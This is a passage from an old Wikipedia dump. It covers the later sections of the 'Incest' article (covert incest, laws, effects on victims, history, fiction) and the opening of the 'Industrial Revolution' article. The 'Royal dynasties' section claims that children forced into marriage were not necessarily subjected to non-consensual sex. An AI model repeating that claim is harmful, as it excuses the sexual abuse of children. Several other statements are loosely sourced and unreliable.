===Covert parental incest===
The psychological community uses the term ''covert incest'', ''emotional incest'' or ''psychological incest'' where a parent seduces a child, usually of the opposite-sex, into the role of a lover, spouse, or parent. This is seen as a psycho-sexual violation of a child by his or her parent, and a &quot;covert&quot; one as it is concealed within the parenting role and as no overt, contact incest occurs. Covert incest is seen by child-psychologists as violating the child with demands to protect, love, or parent, to be an intimate [[confidant]], or to fulfill other roles that are obligations of the parent or the parent's spouse.  The parent often calls the parent-child relationship &quot;special&quot;, as in adult love, and treats the child as a ''peer'' partner. This is seen, by therapists, as a show of pseudo-respect for the child's pseudo-maturity so the parent can use the child, within pathological parent-child [[role reversal]]s, to meet the ''parent's'' needs, at great cost to the child.

Covert incest is thus seen by child-psychologists as deeply harmful to children, as it denies them proper parenting, betrays their innocence, and places ''pathological'' demands on them to deal with what are their ''parents''' obligations.  Psychologists who research covert incest, indicate that in most of these cases, the child will come to feel great resentment towards the parent, and yet feel [[shame]] about those feelings, not being able to articulate how the parent has wronged him or her. The demands of this type of parent-child relationship can continue into the child's adulthood, and in extreme cases, for the rest of the parent's life.  Covert incest is known, by therapists, to cause damage similar to that associated with what they call ''overt'' or contact incest.

In America (1991), there were an estimated 28 million children of alcoholic parents, in addition to an unknown number of children of parents physically addicted to other chemical substances or children of parents psychologically addicted to various forms of religion, gambling, and sex.   Many of these children were believed to have become victims of covert parental incest as their predatory parent used them to fill in for a physically or psychologically absent spouse, partner, and parent.  Thus, although largely unknown outside the psychological profession, covert parental incest is seen as a widespread form of child abuse to therapists who research this phenomenon.

===Incest by grandparents, aunts, uncles and siblings in parental roles===
Other elder relatives can commit either overt or covert incest against children alone, or, in extreme cases, in combination with the child's incestuous parent.  In cases where siblings are used by parents to parent other siblings, incest against the dependent siblings by the pseudo-parent siblings can occur.  The effects to children of incest by other elder or elder-appearing relatives can approach those associated with parent-child incest.

===Incestuous abuse by other adults in responsible roles===
Sexual predation by priests, nuns or other religious authorities against parishioners, by teachers against students, by therapists against clients, and by a host of other authorities against people in dependent roles is seen by therapists as incestuous in nature, although not in form.  Clinical psychologist and incest researcher, Ken Adams states that &quot;Sexual contact in dependent relationships is never justifiable because there is always a loss of choice.&quot;.  As a host of media stories on church related sexual abuse show, the consequences to children, (and on occasion dependent adults too) of this form of incestuous sexual predation are similar to those associated with parent-child incest (see Effects of Incest below.)

===Sibling incest in children===
Incest between siblings is a fairly common part of sexual exploration by children, especially in families with children who are close in age.  A study by [[Floyd Martinson]] found that 10-15% of college students had childhood sexual experiences with a brother or sister, a form of child [[sexuality]].  However, where significant differences in age or capabilities occur between siblings, childhood sibling incest can cause serious psychological damage to the younger or less capable sibling according to researcher Richard Niolon.  It can also damage or destroy the sibling bond in such a case.  

Author Jane Leder estimates that &quot;23,000 women per million in (America) may have been victimized by a sibling&quot; before age 18.  Researcher Andrea Peterson notes that &quot;This may be, at best, a conservative estimate when one considers the scarcity of data, particularly where males are the victims.&quot;

===Consensual adult incest===
Consensual incest between adults occurs where there is no dependence on the adults as parent-child or sibling-sibling dependence precludes independent consent.  Consensual incest is commonly seen between adult siblings as in the English film ''Sister my Sister'', screened in 1994, which is based on a true story.  The French film, ''La Petite Lilly'', which was screened in 2005, shows a fictional case of incipient consensual mother-son incest between ostensibly independent adults.

===Sex between cousins and other distant relatives===
In most of the Western world incest generally refers to forbidden sexual relations within the family. However, even here, definitions of family vary. Within the United States, marriage between (first) cousins is illegal in some states, but not in others, and sociologists have classified marriage laws in the United States into two categories: One, used mainly in southern states, in which the definitions of incest are taken from the Bible, and which frowns upon marriage within one's lineage but less so on one's blood relatives, and the other known which frowns more on marriage between blood relatives (such as cousins), but less on one's lineage.

Twenty-four states prohibit marriages between first cousins, and another seven permit them only under special circumstances. Utah, for example, permits first cousins to marry only provided both spouses are over age 65, or at least 55 with evidence of sterility. North Carolina permits first cousins to marry unless they are &quot;double first cousins&quot; (cousins through more than one line). Maine permits first cousins to marry only upon presentation of a certificate of genetic counseling. The remaining nineteen states and the District of Columbia permit first-cousin marriages without restriction.

==Laws and mores regarding incest in industrialized societies==
===Degrees of criminality===
The laws of many U.S. states recognize two separate degrees of incest, the more serious degree covering the closest blood relationships such as father-daughter, mother-son and brother-sister, with the less-serious charge being pressed against more distantly-related individuals who engage in sexual intercourse, usually down to and including first cousins and sometimes half cousins. In [[New York state]] for example, the maximum penalty is four years in prison, while the less serious charge is usually only a [[misdemeanor]]. Curiously, many incest laws do not expressly proscribe sexual conduct other than vaginal intercourse — such as [[oral sex]] — or, for that matter, any sexual activity between relatives of the same gender, so long as neither party is a minor.  This legal position is in stark contrast with that in [[Australia]], where incest is punishable by a maximum of 25 years imprisonment for the more serious form of [[sexual penetration|penetrating]] a [[child]], even if that child is over 18, and 5 years for the less serious charge of sexual penetration of a sibling or half-sibling.

=== Consensual adult incest ===
Consensual incestuous relations between adults, such as between an adult brother and sister, is illegal in most parts of the industrialized world. These laws are sometimes questioned on the grounds that such relations do not harm other people (provided the couple have no children) and so should not be criminalized.  Proposals have been made from time to time to repeal these laws — for example, the proposal by the Australian Model Criminal Code Officer's Committee discussion paper &quot;Sexual Offenses against the Person&quot; released in November [[1996]]. (This particular proposal was later withdrawn by the committee due to a large public outcry. Defenders of the proposal argue that the outcry was mostly based on the mistaken belief that the committee was intending to legalize sexual relations between parents and their minor children.)

In the wake of the [[Lawrence v. Texas]] decision by the US Supreme Court, striking down laws criminalizing homosexual sodomy as unconstitutional, some have argued that by the same logic laws against consensual adult incest should be unconstitutional. Some civil libertarians argue that all private sexual activity between consenting adults should be legal, and its criminalization is a violation of human rights — thus, they argue that the criminalization of consensual adult incest is a violation of human rights. In [[Muth v. Frank]], the [[7th U.S. Circuit Court of Appeals|7th Circuit Court]] interpreted the case applying to homosexual activity, and refused to draw this conclusion from Lawrence, however, a decision that attracted mixed opinions.

In France, incest isn't a crime in itself. Incestuous relations between an adult and a minor are prohibited and punished by law, but not between two minors or two adults.

===Incest as a topic in fiction===
The degree to which even the topic of incest is forbidden varies between societies. In the United States incest is infrequently  described in books or the media and then usually as a very traumatic and perverse experience (e.g. the 1994 film ''Spanking The Monkey'' in which mother-son incest takes place, leading to the latter's suicide attempt). Also in ''The House of Yes'', a late 90's film where incest again leads only to tragedy. A depiction of incestuous word in [[science fiction]] is [[Theodore Sturgeon]]'s story [[If All Men Were Brothers Would You Let One Marry Your Sister?]]. Meanwhile in Japanese [[manga]] and [[anime]] the topic of incest is often covered in a more neutral and tolerant, sometimes even sympathetic, way. Notable series dealing with incest between major characters (to wit, siblings; most often an older brother with younger sister pairing) include ''[[Koi Kaze]]'', ''[[Angel Sanctuary]]'', ''[[Marmalade Boy]]'' (between step-siblings), ''[[Onegai Twins]]'', and ''[[Cream Lemon]]'' (which was one of the first and most notable [[hentai]] anime).

==Effects of incest==
===Parental incest===
Recent findings by psychologists view non-consenting parent-child incest as a form of predation. Child abuse [[attorney]], Andrew Vachss, calls parental incest a form of [[rape]] of a child by the child's parent.  Therefore, along with the effects associated with child-rape, parental incest is seen by therapists as a double-bind form of [[betrayal]] by his or her closest caregiver. Child incest victims are often called &quot;secret survivors&quot;, by therapists, because there is often no one to take their side much less listen to their shame and self-loathing as incest is a taboo topic. It is known to therapists, that in many cases of such incest the non-perpetrating parent colludes with or denies the other parent's perpetration so the child does not have the other parent to turn to either. 

Child victims have been observed to go into disassociated or [[recluse|reclusive]] mental or emotional states due to [[shame]] associated with their parent's predation, which is thought to overwhelm their coping capabilities.  Becoming &quot;dead inside&quot; is another tactic children have been observed to use in an attempt to deaden the associated pain. Suppression of emotions, as well as a halt or a severe reduction in personal growth has been observed, similar to the effects studied in the [[psychology of torture]].

In adulthood, chronic, complex, and cyclic [[post traumatic stress]] has been observed in victims of childhood parental incest. [[Shame]], [[suspicion]], and unconscious [[alienation]] is thought by some psychologists to occur in the first stage of trauma transformation as the victim attempts to suppress past pain. [[Rage]], [[terror]], and [[sorrow]] have been observed to surface in the second stage as the victim begins to become conscious of the incest acts. In the last stage of trauma transformation, genuine [[self-esteem]], genuine [[desire]], and, on occasion, genuine [[joy]] have been seen in victims. These stages have been observed to take decades to complete and, in extreme cases, to cycle on until the victim's death.

Some victims of parental incest suffer severe [[depression]], and/or have committed [[suicide]], which is thought to be due to the inability accomplish the associated trauma transformations shown above. Some victims also predate against their own children thus resulting in a legacy of incest in following generations, a form of a [[vicious cycle]]. Often, even if trauma transformation was successful,  survivors have reported that due to the betrayal of innocence, the incest-associated losses, and the transformation related costs, their lives were much worse off than peers who had not suffered incest by their parents.

==History==
===Ancient Egypt===
Some experts claim that incestuous marriages were widespread at least during part of Egyptian history, such as Naphtali Lewis (''Life in Egypt under Roman Rule'': Oxford, [[1983]]), who claims that numerous [[papyrus|papyri]] attest to many husbands and wives as being brother and sister.
:When instances of brother-sister marriages first began to appear in the papyri, they were greeted with great skepticism in some quarters, where doubt was expressed that any society would really have countenanced such common violation of the incest taboo.  Such arguments [to otherwise explain the evidence] are ingenious, but they collapse completely in the face of the cumulative evidence of scores of papyri, official as well as private documents, in which the wife is unequivocally identified as the husband's &quot;sister born of the same father and the same mother&quot;. (pp.43f)

Joyce Tyldesley (''Ramesses: Egypt's Great Pharaoh'': London, 2000), writing about the pre-Roman Egyptian period, expresses the opposite viewpoint. She states that within the royal family there was a tradition of [[hypergamy]], where a king or his son might marry a commoner, but his daughter could not marry beneath herself, without the act being considered as degrading to herself. As a result, the royal princess often found herself either marrying her royal brother, or living her life without a spouse.

Incestuous unions were frowned upon and considered as ''nefas'' (a violation of the natural and social order) in [[Roman Empire|Roman]] times, and were explicitly forbidden by an imperial edict in AD [[295]], which divided the concept of ''incestus'' into two categories of unequal gravity: the ''incestus iuris gentium'', who was applied to both Romans and non-Romans in the Empire, and the ''incestus iuris civilis'' which concerned only the Roman citizens. Therefore, for example, an Egyptian could marry an aunt, but a Roman could not.

===Royal dynasties===
Adult incest has been notable in royal dynasties, probably in order to help concentrate wealth and political influence within the family (historical evidence suggests that this practice actually weakened the genetic makeup of elite society family lines, resulting in abnormally high occurrences of rare genetic defects and diseases). Although the marriage unions were often not consensual, with young adults or children forced to marry close relatives, this does not imply the sex was non-consensual. Best known for this practice, which included brother-sister marriages, are some of the dynasties of Ancient Egypt (as explained above), ancient [[Hawaii]], and the pre-Columbian [[Mixtec]].

Dynasties of the modern era where there was frequent familial intermarriage were the mid-[[Habsburg]]s; one branch ruled over [[Spain]] and the other over [[Austria]]. Spanish princesses, however, did marry [[France|French]] kings, [[Louis XIII of France|Louis XIII]] and [[Louis XIV of France|Louis XIV]] who were not [[Habsburg]]s. The Spanish branch died out in [[1700]], but the last Spanish Habsburg king, [[Charles II of Spain|Carlos II]] had been married to María-Luisa of Orléans, grand-daughter of King [[Charles I of England]] and niece to King [[Louis XIV of France]]. However, over the last century, Kings [[Philip II of Spain|Philip II]], [[Philip III of Spain|Philip III]], and (for his second time) [[Philip IV of Spain|Philip IV]] all married their Austrian cousins. The Austrian branch continued to rule until [[1918]], and they are still alive and prospering today. Although the ruler of Egypt, [[Cleopatra]], was of Greek origin, she was the daughter of her father's sister, and while reigning she married her brother, [[Ptolemy XIII]]. 

In Christian society, in which most of the great royal dynasties of the early modern era functioned, incest was a terrible taboo. In [[1536]] [[Anne Boleyn|Queen Anne Boleyn of England]] was falsely accused of incest with [[George Boleyn|her brother]] in order to blacken her name and enable [[Henry VIII of England|her husband]] to execute her and [[Lady Jane Seymour|marry again]].

==In religious traditions==
===In mythology===
Examples of incest in [[mythology]] are rampant. In [[Greek mythology]] [[Zeus]] and [[Hera]] are brother and sister as well as husband and wife. They were the children of [[Cronus]] and [[Rhea (mythology)|Rhea]] (also married siblings) and grandchildren of [[Uranus (mythology)|Uranus]] and [[Gaia (mythology)|Gaia]] (a son who took his mother as consort). Cronus and Rhea's siblings, the other [[Titan (mythology)|Titans]], were also all married brothers and sisters.

In [[Norse mythology]], [[Loki]] accuses [[Freyr]] and [[Freya]] of committing incest, in  ''[[Lokasenna]]''. Moreover, in the [[Völsunga saga]], the hero [[Sigmund]] and his sister [[Signy]] murdered her children and begat a son, [[Sinfjötli]]. When Sinfjötli had grown up, he and Sigmund murdered Signy's husband [[Siggeir]].

In [[Icelandic folklore]] a common plot involves a brother and sister (illegally) conceiving a child. They subsequently escape justice by moving to a remote valley. There they proceed to have several more children. The man has some magical abilities which he uses to direct travelers to or away from the valley as he chooses. The siblings always have exactly one daughter but any number of sons. Eventually the magician allows a young man (usually searching for sheep) into the valley and asks him to marry the daughter and give himself and his sister a civilized burial upon their deaths. This is subsequently done.

Sibling incest forms an important part of the plot in the story of [[Kullervo]] in the [[Finland|Finnish]] national epic, the [[Kalevala]], as also in medieval versions of the [[Britain|British]] legend of [[King Arthur]].

===In religion===
The [[Bible]] also contains a number of references to incest: see [[Biblical references to incest]].

==Fiction==
{{spoiler}}

Incest is a somewhat popular topic in English [[erotic fiction]]; there are entire collections and websites devoted solely to this genre, with an entire genre of pornographic [[pulp fiction]] known as &quot;incest novels&quot;. This is probably because, as with many other fetishes, the taboo nature of the act adds to the titillation. With the advent of the Internet, there is even more of this type of fiction available.

Besides this, incest is sometimes mentioned or described in mainstream, non-erotic fiction. Connotations can be negative, very rarely positive, or neutral. For example, in [[Gabriel García Márquez]]'s ''[[One Hundred Years of Solitude]]'' there are several cases of sex between more or less close relatives, the last of which occurs between a nephew and his aunt, resulting in the birth of a child who is born with a pig's tail and precedes the destruction of the whole town of [[Macondo]] by a [[tropical cyclone]]. Other works of literature show consequences not so grave, such as the [[V.C. Andrews]] novel ''[[Flowers in the Attic]]'' and its subsequent sequels, in which brother and sister uphold a loving relationship; [[Arundhati Roy]]'s ''[[The God of Small Things]]'', in which fraternal twins share a cathartic sexual experience; and several of [[Robert A. Heinlein]]'s later stories. 

In [[J. R. R. Tolkien]]'s ''[[Silmarillion]]'', there are two examples of accidental incest such as when a couple do not realize they are brother and sister.  When the relation is discovered, events inevitably end in tragedy.

Incest is an&lt;!-- Not small --&gt; element of the [[Sophocles]] play ''[[Oedipus the King]]'', based on the story from [[Greek mythology]], in which the [[title character]] unknowingly kills his father and marries his mother.  This act came to great prominence in the [[20th century]] with [[Freud]]'s analysis of the [[Oedipus complex]] as lying beneath the psychology of all men.  Its female counterpart is called the [[Electra complex]].

[[Vladimir Nabokov]]'s novel ''[[Ada or Ardor: A Family Chronicle]]'' deals very heavily with the incestuous relationships in the intricate family tree of the main character Van Veen.  There are explicit moments of sexual relations primarily between Van and his sister Ada, as well as between Ada and her younger sister Lucette.  Nabokov does not necessarily deal with any complexities or consequences, social or otherwise, which may be inherent to incestuous relationships--outside of the strictly practical concerns of having to hide the taboo relationships from others.  Incest in ''Ada'' seems mainly to be a sexual manifestation of the characters' intellectual incestuousness, and operates on a similar plane as do other instances of &quot;sexual transgression&quot;  in his novels of this period, such as [[pedophilia]] in ''[[Lolita]]'' and [[homosexuality]] in ''[[Pale Fire]]''.

[[Thomas Mann]]'s [[The Holy Sinner]] explores the spiritual consequences of unintentional incest.

It is also a main plot device in the movie ''[[Caligula (film)|Caligula]]'', the Korean movie ''[[Oldboy]]'', Roman Polanski's ''[[Chinatown (film)|Chinatown]]'' and [[Guy Maddin]]'s film [[Careful]].

In the finale episode of season 3 from [[FX Networks|FX Network's]] television drama [[Nip/Tuck]], the characters of [[Quentin Costa]] and [[Kit McGraw]] are exposed as incestuous lovers, of likewise incestuous parents.  This discovery comes soon after Quentin is unmasked as [[The Carver]], the main [[antagonist]] of season 3, along with his accomplice, Kit.&lt;!---My first Wiki contribution, sorry if I screwed up---&gt;

==Incest as a metaphor==
Sometimes the word &quot;incestuous&quot; is also used metaphorically to describe other inappropriately close relationships, for example between an [[authority figure]] and a [[subordinate]], or between people in the same [[profession]] or creative field.  The term &quot;incest group&quot; is also common in [[high school]], and denotes a group of friends that only date others within their group.  Institutions such as [[church]]es, [[college]]s, and sometimes whole [[nation]]s can be described as ''incestuous'' when inappropriately close relationships, corrupt [[conflict of interest|conflicts of interest]] and secret [[conspiracy|collusions]] occur inside the institution and especially within the institution's top echelons such as in cases [[John Boyd (military strategist)|John Boyd]] exposed in the Pentagon.

==See also==
*[[Imprinting (psychology)#Westermarck effect|Westermarck effect]]
*[[Genetic sexual attraction]]
*[[Inbreeding]]
*[[Kinship and descent]]
*[[Sexual morality]]
*[[Incest pornography]]
*[[Incest taboo]]
*[[Human sexual behavior]]
*[[Oedipus complex]]
*[[Electra complex]]
*[[Levirate marriage]]
*[[Paraphilia]]
==External links==
* [http://www.vachss.com/av_dispatches/nyt-11202005.html ''The Incest Loophole'']
* [http://movingforward.org/v1n4-cover.html Sibling Sexual Abuse: An Emerging Awareness of an Ignored Childhood Trauma]
* [http://www.psychpage.com/family/library/sib_abuse.htm Sibling Sexual Abuse]
* [http://www.vachss.com/av_dispatches/disp_9803_a.html ''Our Endangered Species: A Hard Look at How We Treat Children'', Parade Magazine, (3/29/98)]
* [http://www.vachss.com/av_dispatches/disp_9408_a.html ''You Carry the Cure In Your Own Heart'', Parade Magazine, (8/28/94)]
* [http://www.fright.com/edge/sistermysister.html ''Sister My Sister'' English, 1994.]
* [http://www.kalimunro.com/article_mother_son_sexual_abuse.html Male Sexual Abuse Victims of Female Perpetrators: Society's Betrayal of Boys]
* [http://www.enotalone.com/article/4290.html Silently Seduced: When Parents Make Their Children Partners: Understanding Covert Incest]
* [http://www.kalimunro.com/article_sexual_abuse_by_mothers.html Mother-Daughter Sexual Abuse: A Painful Topic]
* [http://www.kalimunro.com/article_sexualabuse.html Incest and Child Sexual Abuse: Definitions, Perpetrators, Victims, and Effects]
* [http://www.drmiletski.com/mother_son.html Mother-Son Incest: The Unthinkable Broken Taboo]
* [http://www.safersociety.org/allbks/wp046.html The Last Secret: Daughters Sexually Abused By Mothers]
* [http://www.hup.harvard.edu/catalog/HERFAY.html Father-Daughter Incest]
* [http://ajp.psychiatryonline.org/cgi/content/abstract/135/7/835 Father-Son Incest: Underreported Psychiatric Problem?]
* [http://www.newadvent.org/cathen/04264a.htm Catholic Consanguinity (in Canon Law)]
* [[Lloyd deMause]]. &quot;The Universality of Incest&quot;, ''The Journal of Psychohistory'', Fall 1991, Vol. 19, No. 2. ([http://www.psychohistory.com/htm/06a1_incest.html]) - author argues that incest is universal across all human societies; equates incest with incest with children; argues that sexual relations between children and third persons with parental knowledge or consent constitutes 'indirect incest'
* [http://www.vachss.com/av_dispatches/disp_9119_a.html Comment on &quot;The Universality of Incest,&quot; by Andrew Vachss] - comments on deMause's article by well-known children's attorney and child protection consultant
* [http://www.guardian.co.uk/Archive/Article/0,4273,4331603,00.html article from The Guardian newspaper, concerning a case of allegedly consensual adult parent-child incest]
* [http://www.umanitoba.ca/anthropology/tutor/marriage/usa-ncst.html State Variations on American Marriage Prohibitions]
* [http://www.vachss.com/help_text/incest.html Intrafamilial (Incest) Abuse Resources]
* [http://samvak.tripod.com/incest.html The incest taboo - origins, history, and ethical aspects]
* [http://freepages.genealogy.rootsweb.com/~jamesdow/wrigco.htm The &quot;mathematics of inbreeding&quot;]
* [http://www.anth.ucsb.edu/faculty/tooby/classes/anth7/incest.htm The evolution of incest avoidance mechanisms]
* [http://www.geocities.com/luvacuzn4/CousinsMarryingCousins.html Cousins Marrying Cousins - an article from the New York Times]
* [http://www.coej.org/Medical/marrying_cousins_not_risky.htm Recent research results]
* [http://www.phoenixnewtimes.com/issues/2005-12-29/news/feature.html Forbidden Fruit] December 2005 ''New Times'' article on fumarase deficiency following multigenerational cousin marriages in Colorado City, Arizona

==References and further reading==
* Scruton, Roger, ''Sexual Desire: A Moral Philosophy of the Erotic'', Free, 1986.
* Pryor, Douglass, ''Unspeakable Acts: Why Men Sexually Abuse Children'', New York Univ Press, 1996. 
* Miller, Alice, ''That Shalt Not Be Aware: Society's Betrayal of the Child'', Farrar Strauss Giroux, 1983.
* Lobdell, William, ''Missionary's Dark Legacy; Two remote Alaska villages are still reeling form a Catholic volunteer's sojourn three decades ago, when he allegedly molested nearly every Eskimo boy in the parishes.  The accusers, now men, are scarred emotionally and struggle to cope. They are seeking justice.'', Los Angeles Times, Nov 19, 2005, p. A.1.
* Shaw, Risa, ''Not Child's Play: An Anthology on Brother-Sister Incest'', Lunchbox, 2000.
* DeMilly, Walter, ''In My Father's Arms: A True Story of Incest'', Univ. of Wisc. Press, 1999.
* Blume, E Sue, ''Secret Survivors: Uncovering Incest and It's Aftereffects in Women'', Ballantine, 1991.
* Rosencrans, Bobbie and Bear, Eaun,  ''The Last Secret: Daughters Sexually Abused by Mothers'', Safer Society, 1997.
* Adams, Kenneth, M., ''Silently Seduced: When Parents Make Their Children Their Partners, Understanding Covert Incest'', HCI, 1991.
* Love, Pat, ''Emotional Incest Syndrome: What to Do When a Parent's Love Rules Your Life'', Bantam, 1991.
* Herman, Judith, ''Father-Daughter Incest'', Harvard University Press, 1982.
* Miletski, Hani, ''Mother-Son Incest: The Unthinkable Broken Taboo'', Safer Society, 1999.
* {{cite book | author= Forward , Susan  | title=Toxic Parents: Overcoming Their Hurtful Legacy and Reclaiming Your Life| publisher= Bantam | year=1990 | id=ISBN 0553284347}}
* Lew, Mike, ''Victims No Longer: Men Recovering from Incest and Other Sexual Child Abuse.''  Nevraumont, 1988.
* Hislop, Julia, ''Female Sexual Offenders: What Therapists, Law Enforcement, and Child Protective Services Need to Know'', Issues, 2001.
* Elliot, Michelle, '' Female Sexual Abuse of Children'', Guilford, 1994.

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  <page>
    <title>Industrial Revolution</title>
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      <comment>Reverted edits by [[Special:Contributions/65.79.36.66|65.79.36.66]] to last version by Noisy</comment>
      <text xml:space="preserve">The '''Industrial Revolution''' (sometimes known as the First Industrial Revolution) was one of the major [[technology|technological]], [[socioeconomic]] and [[culture|cultural]] changes in the late 18th and early 19th century resulting from the replacement of an economy based on manual labour to one dominated by industry and machine manufacture. It began in [[Britain]] with the introduction of [[steam engine|steam power]] (fueled primarily by [[coal]]) and powered [[machine|machinery]] (mainly in [[textile]] [[manufacturing]]). The development of all-metal [[machine tools]] in the first two decades of the nineteenth century enabled the manufacture of more production machines for manufacturing in other industries.

The dating of the First Industrial Revolution is not exact. [[T.S. Ashton]] held that it occurred roughly between 1760 and 1830 (in effect the reigns of [[George III of the United Kingdom|George III]], The [[English Regency|Regency]], and part of [[William IV of the United Kingdom|William IV]]). There was no cut-off point for the First Revolution as it merged into the [[Second Industrial Revolution]] around 1850, when technological and economic progress gained momentum with the development of steam-powered [[ship]]s and [[railway]]s, and later in the nineteenth century, of the [[internal combustion engine]] and [[Electric power|electrical power generation]].

The effects spread throughout [[Western Europe]] and [[North America]], eventually affecting the rest of the world. The impact of this change on [[society]] was enormous and is often compared to the [[Neolithic revolution]], when mankind developed [[agriculture]] and gave up its [[nomad|nomadic lifestyle]].

The term ''[[revolution]]'' applied to technological change was introduced by [[Friedrich Engels]] and [[Louis-Auguste Blanqui]] in the second half of the 19th century.

[[Image:Maquina vapor Watt ETSIIM.jpg|thumb|300px|A Watt steam engine in [[Madrid]]. The development of the [[steam engine]] started the industrial revolution in Great Britain. The steam engine was created to pump water from coal mines, enabling them to be deepened.]]

==Causes==

The causes of the Industrial Revolution were complex and remain a topic for debate, with some historians seeing the Revolution as an outgrowth of social and institutional changes wrought by the end of [[feudalism]] in [[Great Britain]] after the [[English Civil War]] in the 17th century. As national border controls became more effective, diseases spread less, therefore preventing the epidemics common in previous times. The percentage of children who lived past infancy rose significantly as well, leading to a larger workforce. The [[Enclosure]] movement and the [[British Agricultural Revolution]] made food production more efficient and less labour-intensive, forcing the surplus population who could no longer find employment in [[agriculture]] into [[cottage industry]], such as [[weaving]], and in the longer term into the cities and the newly-developed [[factories]]. The [[colonial expansion]] of the 17th century with the accompanying development of international [[trade]], creation of [[financial markets]] and accumulation of [[Capital (economics)|capital]] are also cited as factors, as is the [[scientific revolution]] of the 17th century. [[Technology|Technological]] innovation was another important factor, in particular the new invention and development of the [[steam engine]] (which later was developed by Fulton into a steam boat) during the 18th century.

The presence of a large domestic market should also be considered an important catalyst of the Industrial Revolution, particularly explaining why it occurred in Britain. In other nations, such as [[France]], markets were split up by local regions, which often imposed tolls and [[tariff]]s on goods traded among them.

===Causes for occurrence in Europe===
One question of active interest to historians is why the Industrial Revolution occurred in Europe and not other parts of the world, particularly [[China]] and [[India]]. Numerous factors have been suggested, including [[ecology]], [[government]], and [[culture]]. [[Benjamin Elman]] argues that China was in a [[high level equilibrium trap]] in which the nonindustrial methods were efficient enough to prevent use of industrial methods with high costs of capital. [[Kenneth Pomeranz]], in the ''Great Divergence'', argues that Europe and China were remarkably similar in 1700, and that the crucial differences which created the Industrial Revolution in Europe were: sources of [[coal]] near manufacturing centres and raw materials such as food and wood from the New World, which allowed Europe to expand economically in a way that China could not. 

However, modern estimates of per capita income in Western Europe in the late 18th century are of roughly 1,500 of 1990 dollars (and England had a per capita income of nearly 2,000 dollars) and China, by comparison, had only 450 dollars. Also, the average [[interest rate]] was about 5% in England and over 30% in China, which illustrates how much more abundant capital was in England, capital that was available for investment.

Some historians believe it was the different belief systems in China and Europe that dictated where the industrial revolution occurred. The religion and beliefs of Europe were largely products of [[Christianity]], [[Socrates]], [[Plato]], and [[Aristotle]].  Conversely, Chinese society was founded on men like [[Confucius]], [[Mencius]], [[Han Feizi]] ([[Legalism]]), [[Laozi]] ([[Taoism]]), and [[Buddha]] ([[Buddhism]]).  The key difference between these belief systems was that European beliefs focused on the individual, while Chinese beliefs centered around relationships between people. The family unit was more important than the individual for the large majority of Chinese history, and this may have played a role in why the industrial revolution took much longer to occur in China.  There was the additional difference as to whether people looked backwards to a reputedly glorious past for answers to their questions or looked hopefully to the future.
Western European peoples had experienced the [[Renaissance]] and [[Reformation]]; other parts of the world had not had a similar intellectual breakout, a condition that holds true even into the 21st century. 
 
In [[India]], the noted historian Rajni Palme Dutt has been quoted as saying, &quot; The capital to finance the Industrial Revolution in India instead went into financing the Industrial Revolution in [[England]].&quot; In direct contrast to [[China]], India was split up into many different kingdoms all fighting for supremacy, with the three major ones being the [[Marathas]], [[Sikhs]] and the [[Mughals]]. In addition, the economy was highly dependent on two sectors--agriculture of subsistence and cotton, and technical innovation was non-existent. The vast amounts of wealth were stored away in palace treasuries, and as such, were easily moved to [[England]].

====Causes for occurrence in Great Britain====
[[Image:Philipp Jakob Loutherbourg d. J. 002.jpg|thumb|right|330px|[[Coalbrookdale]] at night, 1801 :&lt;br&gt; Artist: [[Philip James de Loutherbourg|Philipp Jakob Loutherbourg the Younger]]]]

The debate about the start of the Industrial Revolution also concerns the lead of 30 to 100 years that Britain had over other countries. Some have stressed the importance of natural or financial resources that the [[United Kingdom]] received from its many overseas [[colonies]] or that profits from the British [[slave trade]] between Africa and the Caribbean helped fuel industrial investment.

Alternatively, the greater liberalisation of trade from a large merchant base may have allowed Britain to utilise emerging scientific and technological developments more effectively than countries with stronger monarchies, such as China and Russia. Great Britain emerged from the [[Napoleonic Wars]] as the only European nation not ravaged by financial plunder and economic collapse, and possessing the only merchant fleet of any useful size (European merchant fleets having been destroyed during the war by the [[Royal Navy]]). The United Kingdom's extensive exporting cottage industries also ensured markets were already available for many early forms of manufactured goods. The nature of conflict in the period resulted in most British warfare being conducted overseas, reducing the devastating effects of territorial conquest that affected much of Europe. This was further aided by Britain's geographical position&amp;mdash; an island separated from the rest of mainland Europe. 

Another theory is that Great Britain was able to succeed in the Industrial Revolution due to the availability of key resources it possessed. It had a dense population for its small geographical size. [[Inclosure|Enclosure]] of common land and the related [[British Agricultural Revolution|Agricultural revolution]] made a supply of this labour readily available. There was also a local coincidence of natural resources in the [[North of England]], the [[English Midlands]], [[South Wales]] and the [[Scottish Lowlands]]. Local supplies of coal, iron, lead, copper, tin, limestone and water power, resulted in excellent conditions for the development and expansion of industry.

The stable political situation in Great Britain from around 1688, and British society's greater receptiveness to change (when compared with other European countries) can also be said to be factors favouring the Industrial Revolution.

====Protestant work ethic====
Another theory is that the British advance was due to the presence of an entrepreneurial class which believed in progress, technology and hard work.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; The existence of this class is often linked to the [[Protestant work ethic]] (see [[Max Weber]]) and the particular status of dissenting Protestant sects, such as the [[Religious Society of Friends|Quakers]], [[Baptists]] and [[Presbyterians]] that had flourished with the [[English Civil War]]. Reinforcement of confidence in the rule of law, which followed  establishment of the prototype of constitutional monarchy in Great Britain in the [[Glorious Revolution]] of [[1688]], and the emergence of a stable financial market there based on the management of the [[National debt|national debt]] by the [[Bank of England]], contributed to the capacity for, and interest in, private financial investment in industrial ventures.

Dissenters found themselves barred or discouraged from almost all public offices, as well as education at England's only two Universities at the time, Oxford and Cambridge, when the restoration of the monarchy took place and membership in the official [[Anglican church]] became mandatory due to the [[Test Act]]. They thereupon became active in banking, manufacturing and education, The [[Unitarians]], in particular, were very involved in education, by running Dissenting Academies, where, in contrast to the Universities of Oxford and Cambridge, and schools such as Eton and Harrow, much attention was given to mathematics and the sciences--areas of scholarship vital to the development of manufacturing technologies.

Historians sometimes consider this social factor to be extremely important, along with the nature of the national economies involved. While members of these sects were excluded from certain circles of the government, they were considered fellow Protestants, to a limited extent, by many in the [[middle class]], such as traditional financiers or other businessmen. Given this relative tolerance and the supply of capital, the natural outlet for the more enterprising members of these sects would be to seek new opportunities in the technologies created in the wake of the [[Scientific revolution]] of the 17th century.

====Lunar society====
